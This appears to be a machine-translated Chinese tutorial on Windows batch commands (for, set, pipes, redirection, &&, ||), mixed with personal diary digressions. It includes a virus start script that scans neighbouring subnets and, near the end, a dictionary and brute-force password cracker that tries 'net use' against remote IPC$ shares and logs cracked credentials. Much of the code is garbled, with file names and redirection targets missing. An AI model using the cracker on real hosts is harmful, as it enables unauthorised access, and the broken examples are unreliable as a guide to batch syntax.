10、for、set、shift
Why put these three commands together? Apart from me explaining the reason, I'm afraid no one can imagine it! A very simple sentence: Actually, I don’t understand it very much! Yes, I started learning these two commands by studying viruses. Time has passed, but I still haven't fully understood them. I am afraid that I can't even understand them myself after I speak them out, and I am even more afraid that I will accidentally make a sinner if I say them wrongly. So I'll give you a script to tell you how to let these two commands leave a preliminary impression on you. In fact, it's the beginning of these two commands, not how to understand these two commands. Because it is not easy to understand such two commands (especially for)! Maybe you will praise me for being honest and not knowing if you don’t understand; maybe you will scold me and let me get out of here if I don’t understand, don’t be embarrassed or conspicuous; maybe you will say something else that is nice or bad, and you will do whatever you want. Even if I don’t agree with what you say, I will defend your right to speak to the death. See example 11:
@echo off for /? > set /? > shift /? > exit
After execution, three files are generated under the current path, which record the help information of the for command, set command and shift command respectively. All people on earth can understand it, so I won’t say much. I have been searching for tutorials on these three commands for a long time on the Internet, but none of them are ideal, and they are basically copied help information. I think after I have fully mastered these two commands, I must write a for, set and shift tutorial summarized in my own text (about shift commands, it will also be involved when introducing batch parameters later). I will definitely do it, this is one of my wishes! One thing to note is that the introductions in the help of these three commands are relatively rigid. Although some examples are given, this is far from enough. To master these two commands, the most important thing is patience! It's not wrong, it's patience. Just reading their help text carefully requires enough patience. Do you need to further practice and understand these two commands? I will leave you the opportunity for practical practice. The key is that, depending on whether you have the patience to study it. Take a look at Example 12:
: CALL SET IPA=192.168 CALL 0 :NEARAGAIN netstat -n|find ":" > FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN () DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL :START CALL IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > PING %IPA%.%NUM3%.1> PING %IPA%.%NUM3%.%NUM4%>> FIND /C /I "from" IF ERRORLEVEL 1 GOTO START CALL %NUM3% DEL GOTO START
This is the virus's start script, which sets the environment variables for the virus to run. Are you looking at it so hard? I forgot the sentence written in the first paragraph of Chapter 1 (Calm down!), and you should be able to understand the patience required to learn these two commands. Just like loving someone, you have to learn to be tolerant, you can’t beat or scold her, and use your broad mind to tolerate everything about her. Even if you find that the process of loving her makes you feel like the process of reading the above code, you still have to continue to love - do love need a reason? Not needed? Need? Don't you need it... After the calm, the most intuitive gain is that your patience has become unprecedentedly sufficient. Faced with her complexity and fickleness, you will remain calm and calmly deal with scenes that you once could not cope with in your own way. Even at the end of your scar, you will sigh how great your actions were.
That's right, this is the charm of batch processing, this is the charm of love. I will thank the people who hurt you.
I have to repeat that various DOS commands are BODYs of batch processing (I really can't find a more suitable word to describe their relationship). Learning DOS commands is the prerequisite for learning batch processing well. Other DOS commands such as copy, dir, del, type, path, break, start, etc., as well as external commands such as ping, net, cmd, at, sort, attrib, fc, find, etc., are widely used in batch processing. The purpose of this tutorial is to teach you how to understand batch processing and how to use DOS commands to combine a perfect batch script to automatically complete what you want it to do. Flexible editing of a batch script is based on proficient in DOS commands, which is beyond the scope of this article and will not be discussed here.
Before we knew it, the third chapter was over. What came from the headset was Chen Xiaodong's "Happier than Me", which was automatically replayed every 4 minutes and 32 seconds. Although I don’t like Chen Xiaodong very much, this does not prevent me from liking music. I like this song that is so touching. Please be happier than me/I will not waste my time quitting in a mess/I will not say bitterness no matter how painful it is/I don’t need to be sorry to make up for love/At least I can fulfill your pursuit/Please remember that you are happier than me/It is worthy of my cruelty towards myself/I silently count down/In the end, I will see you clearly/Look at my good bun in your eyes/Slowly exiled.
It can be said that I did not give a detailed introduction to the most important commands in batch scripts like echo or if. I have already said the reason, because I am also a dish and I don’t understand it very much----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- And you? Today I went to the library again and found something called "DOS Files" like gold hunting. It was hidden in a corner and was covered with dust. The five books were stacked together and they were as thick as bricks. After a brief look, I introduced a lot of things that are relatively basic and basic. Although it is already a bit time out in terms of thinking, many things have basically no value to use (this is the update speed in the information age), it is still worth watching. So I planned to come here in the afternoon, go back on holiday and study it carefully, and get familiar with those unfamiliar commands, and continue writing this tutorial. I always believe that there is no best, only better.
But unfortunately, when I went there again in the afternoon, a sign had already been erected at the entrance of the library stairs, which read out of service----The work of this semester is over. So I returned to the dormitory and planned to continue writing the fourth chapter. At this time, I got another "inspiring" news: I failed one subject in the final exam, and I was the first in the class - I failed this entire class. Depressed emotions surged into my heart in an instant, and the whole world seemed to have turned black. The canteen and convenience store have been closed one after another, and fewer people in the school are getting fewer and fewer people. Several students coming towards them are all packed with luggage, busy preparing to go home for the New Year. The loneliness and loss in their hearts are like the dark clouds before the heavy rain in summer, quickly and irresistibly occupying every corner of their hearts. Facing the cold wind of January, I was staring alone on the overpass. What else can I do? A failed man who can't even handle the final exam.
The "break between classes" seems to have been a little longer, haha, it's time for class! Starting from this chapter, we will introduce in detail several combination commands and pipeline commands commonly used in batch processing. Although these commands are not necessary, just like when you love someone, you don’t have to accompany you every day, if you lack this process, things will become complicated and imperfect. So I think pipeline commands and combination commands are batch-processed flavoring agents, which are almost indispensable.
Let’s start with the pipeline commands. Commonly used pipeline commands are as follows: |, >, >>
11、|
I'm afraid everyone is not unfamiliar with this command. Friends who often operate DOS should know that when we view the help of a command, if the help information is relatively long and one screen cannot be displayed, DOS does not give us time to finish reading one screen and then turn to another screen, but directly displays it to the end of the help information. If you enter help to enter at the prompt, you will see all non-implicit commands supported by the current DOS version, but you can only see the last commands. The previous one has already flashed by. How to solve this problem? See example 13:
help | more
After entering the car, you will find that the screen will automatically pause after the display is full, waiting to continue to display other information. When pressing Write Enter, it becomes one by one; when pressing the space bar, it is displayed on one screen until all of them are displayed; pressing other keys to automatically stop returning to DOS.
Why does the above phenomenon occur? The answer is very simple. Here we combine the pipeline command | and the DOS command more to achieve the goal together. Here I will briefly introduce the help command and more command, which will be of great help to understand the usage of | commands.
11.1. Help command. In fact, this command does not need to be said more, but in the above example, the use of the help command is quite special. You can directly enter the help command at the DOS prompt. The result is that DOS can display all the non-implicit commands it supports. When using the help command in other places, such as entering net help enter, it will display the help information of the net command.
11.2. More command. Many friends may not have contacted this command before. This command is very widely used in Linux and is also one of the pipeline commands. You can find a longer article () and enter the following two commands at the DOS prompt to compare the differences: more and type. Using the more command, you can achieve the effect of displaying output screen-by-screen or line-by-line, while the type command can only display the output at once. The final result is that you can only see the end part. In Example 13, the function of the more command is to display the output information screen or line by line.
After seeing this, can you vaguely feel the effect of the command? Yes, its function is to use the output of the previous command as the input of the next command. In Example 13, the output of the previous command is all non-implicit commands supported by DOS displayed after the help command is executed, and this result just makes the input of the next command more. Therefore, Example 13 and Example 14 below are equivalent:
help >
more
del
Here, another pipeline command is used > a file is generated as an intermediate link. After viewing the file with the more command, the file is deleted (all operations in Example 13 are performed in memory and no files are generated). It can be seen that correctly using pipeline commands | can bring twice the result with half the effort.
Combining Example 13 and Example 14, as well as the previous Example 9, we will experience it again: The function of the | command is to use the output of the previous command as the input of the next command.
Learn batch processing! Can you learn it (four)
12、>、>>
The effects of these two commands are essentially the same. They both output redirect commands. To put it simply, they write the output of the previous command to a file. The only difference between these two commands is that > will clear the content in the original file and write the new content to the original file, while >> will only add new content to the original file with another line, without changing the original content. Example 15:
echo @echo off > echo echo This is a pipeline command example. >> echo echo It is very easy? >> echo echo Believe your self! >> echo pause >> echo exit >>
Enter the above lines of commands at the DOS prompt in turn, and enter each line at a time. A file will be generated in the current directory, with the contents as follows:
@echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit
How much information did you get after seeing this? 1. You can directly use the writing function of the echo command at the DOS prompt, without the need for a special text editing tool; 2. The difference between pipeline commands > and >> is as described above. If you only use the > command to complete the above operation, one will be generated at the end, but the content in it will only leave the last line of exit. So > and >> are generally used together, unless you have only one line of redirected output, you can just use >. In combination with the examples, I have carefully understood the usage of output redirection pipeline commands > and >>.
13、<、>&、<&
These three commands are also pipeline commands, but they are generally not commonly used. You just need to know it and it will be OK. Of course, if you want to study it carefully, you can check the information yourself.
<, enter the redirect command, read the command input from the file, not from the keyboard.
>&, write the output of one handle to the input of another handle.
<&, just the opposite of >&, reads input from one handle and writes it to the output of another handle.
Examples of these three pipeline commands will also be involved in the exquisite application of the subsequent batch script.
The following are the combination commands: &, &&, ||
Combination commands, as the name implies, can be combined with multiple commands to be executed as one command. This is allowed in batch scripts and is widely used. Its format is very simple - since it has become a file, these multiple commands must be connected with these combined commands and placed in the same line - because the batch process recognizes the line but does not recognize the number of commands. The effect of combining commands is like accompanying your lover. One sentence is to say, and ten sentences are also to say. If you say all good words in one go, the effect may be better. Of course, a special situation must be ruled out: whether these words are in sequence, and whether some words can be said at the same time. The same is true in batch scripts. Sometimes some commands cannot be executed at the same time, let me tell you later.
I just saw another classmate away. The feeling of being empty is becoming more and more obvious. Looking at the empty bed, I am the only one left in the noisy dormitory on weekdays. The only mouse in the whole world who is usually very annoying is only cute at this time---it will only accompany me in this dark night when I dare not turn on the lights--a failed man who can't even handle the final exam. fail! I felt like I could not breathe. The pressure of failure suffocated me, making my hands unable to receive signals from my brain, and made this unfinished tutorial die. But who can I blame?
I was busy for a semester and failed the New Year, but failed the subject. It was just a matter of failure. I was just going to stop the whole class from retreating, and the failure in failure. What was even more failed is that at this most lost time, I couldn’t find someone to talk to; however, the most failed is that I suddenly realized that I was so fragile and so unbearable to loneliness. However, this solved a question that had been puzzled for a long time in my heart: why did I still jump into it willingly even though I knew that the love was a vortex - this is youth, an age like wind, and an uneasy heart like fire. If I don’t love anymore, I don’t want to wait hard when I’m alone anymore; if I don’t love anymore, I don’t want the love of pity in the cage you give me; if I don’t love anymore, I don’t want to be so ridiculous in the sight of others; if I don’t love anymore, I don’t love anymore. Even if it collapses, I have to carry it alone. I cannot lower my head, bend my waist, and I cannot breathe or talk, because although I fail, I am still a man. If I am a man, I cannot bow to difficulties!
14、&
This can be said to be the simplest combination of commands. Its function is to connect n DOS commands and execute these commands in order, regardless of whether the command execution fails. Example 16:
copy /y & del
In fact, this sentence has the same effect as move, except that the former is carried out in two steps (the specific method will be discussed later). This command is very simple, so it doesn't take much trouble. The only thing to note is that the commands on both sides have an execution order and are executed from front to back.
15、&&
Remember, the several commands introduced here are combination commands, so they must have other commands before and after (or how to combine them?). This command is no exception. It can combine the two commands before and after it as a command. The difference from the & command is that when it executes several commands connected by it from front to back, it will automatically determine whether there is an error in execution of a command. Once an error is found, it will not continue to execute the remaining commands. This provides us with convenience for automating some tasks. Example 17:
dir file://1%/www/ && copy file://1%/www/ e:\backup\www
If the remote host exists, copy it to the local e:\backup\www. If it does not exist, copy will not be executed. Is this sentence useful to friends who are engaged in network management? hehe. In fact, it has the same function as the following sentence:
if exist file://1%/www/ copy file://1%/www/ e:\backup\www
As for which one you like to use, it's easy to use. I can't tell which of the two commands dir or if is more efficient, so I don't know which one is better, haha.
Do you still remember that "some commands cannot be executed at the same time"? Do you believe this? Of course, you have to believe it. If you don’t believe it, you will give you a question: list the files and folders of disk C and disk D into the files. How will you solve this problem? Some friends said, isn’t this a very easy problem? Execute two dir at the same time, and then put the result in > it will be OK. See Example 18:
dir c:\ && dir d:\ >
Take a closer look at the results of this sentence after execution to see if it can meet the requirements of the question! Wrong! After this execution, there is only information about D disk! Why? Just because the && command and > command cannot appear in a sentence at the same time (batch treats a line as a sentence)! ! The priority of the combination command && is not as high as that of the pipeline command > (I summarized it myself, please correct the inappropriate points)! So when executed, this sentence divides this into these two parts: dir c:\ and dir d:\ > , not these two parts as you think: dir c:\ && dir d:\ and > . To use the combination command && to meet the requirements of the question, you must write it like this:
dir c:\ > && dir d:\ >>
In this way, according to the priority level, DOS will divide this sentence into the following two parts: dir c:\ > and dir d:\ >> . The differences in the sentences in Example 18 are quite special, and it is worth studying and experiencing them carefully.
Of course, you can also use & commands here (think about the reason for yourself):
dir c:\ > & dir d:\ >>
16、||
The usage of this command is almost the same as &&, but its function is just the opposite: when using this method to execute multiple commands, when encountering a correct command, the command combination is exited and the following commands will no longer be executed. Topic: Check whether there is an exe file starting with s in the current directory, and if so, exit. Example 19:
@echo off
dir s*.exe || exit
Actually, this example has flaws, have you seen it? It's actually very simple, just try it yourself: if there is that exe file, exit; if there is no exe file, exit! Why? Because if that .exe file does not exist, the previous command dir s*.exe execution will definitely not be successful, so continue to execute exit and exit naturally, haha. So how to solve the problem given by the problem? See example 20:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
The result of execution in this way can meet the requirements of the question. Whether there is s*.exe will have two results. The meaning of adding pause here is of course to allow you to see the content output by echo, otherwise the flash of the window will be in vain.
Giving two scripts that better study priority (and harder to understand) and carefully studying their differences so as to thoroughly understand the priority order of various commands, it will be of great benefit to writing scripts by using these commands in the future - no errors will occur! OK, please see Example 21 and Example 22:
Example 21:
@echo off
dir /a & dir || exit
Example 22:
@echo off
dir /a && dir || exit
Warning: Friends suffering from cardiovascular and cerebrovascular diseases, please do not study the above two cases, otherwise the head will be as big as a bucket in mild cases, and the blood vessels will be burst in severe cases. Any accident caused by anyone due to studying the difference between these two scripts is the responsibility of himself or his legal guardian and has nothing to do with himself or this forum. Here is a warning!
That’s all for the introduction to pipeline commands and combination commands. I wonder if you are smart or not? Haha, if you can understand, you will become a genius unless you have mastered it before! Don’t underestimate these ghost commands. The big stick is what I say, it’s simply not something that people learn! But I still calmed down and studied it. The final conclusion I came to is as mentioned above. I have left it to you. I hope you can collect it and digest it. Of course, there are mistakes that you have discovered, or incomplete places that are seen by you. Please tell me quickly!
These commands really made my head big. There is a widely circulated batch tutorial on the Internet: "Concise Batch Tutorial". Although it is more comprehensive, it seems to be unsatisfactory. When introducing for commands such as for, it is finished (of course I can't say anything about this, after all, I didn't even give for /?), and there is no introduction to the above pipeline commands and combination commands, as well as the registry that will be discussed in this tutorial in the future. The reason why I spent a whole chapter on pipeline commands and combination commands is because they are the essence and soul of batch processing. Whether I can make good use of these commands is the prerequisite for batch processing. For example, DOS commands such as for and set can be learned in a targeted manner from the perspective of DOS, but it is not easy to master these commands--the relationship between them is too complicated!
Save the following code as a bat file
1. If you use a dictionary to crack: dictionary file path and name Host Username
2. If cracked with numbers: Start number Step size End number Host username
After the password is cracked, it is stored in the c:\ file.
Save the following code as a file
@echo off echo ------------------------------------------------------------------- >>c:\ echo ------------------------------------------------------------------- >>c:\ date /t >>c:\ time /t >>c:\ echo Cracking results: >>c:\ if "%6"=="1" goto Big stick is what I say2 :Big stick is what I say1 start "Cracking" /min cmd /c for /f %%i in (%1) do call %2 "%%i" %3 goto quit :Big stick is what I say2 start "Cracking" /min cmd /c for /l %%i in (%1,%2,%3) do call %4 "%%i" %5 :quit Save the following code as net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%Indicates that the previous command will be executed and returned,net useReturn successfully0,Failed to return2 :answer0 echo Remote host:"%1" >>c:\ echo use household:"%3" >>c:\ echo dense code:%2 >>c:\ net use \\%1\ipc$ /delet exit :answer2
For
Runs the specified command on each file in a set of files.
The for command can be used in a batch program or directly from a command prompt.
To use the for command in a batch program, use the following syntax:
for %%variable in (set) docommand [command-parameters]
To use for at a command prompt, use the following syntax:
for %variable in (set) do command [command-parameters]
parameter
%%variable or %variable
Represents alternative parameters. The for command replaces %%variable (or %variable) with each text string specified in the set until this command (specified in command-parameters) processes all files. Use %% variable to execute the for command in the batch program. Use %variable to execute the for command from the command prompt. Variable names are case sensitive.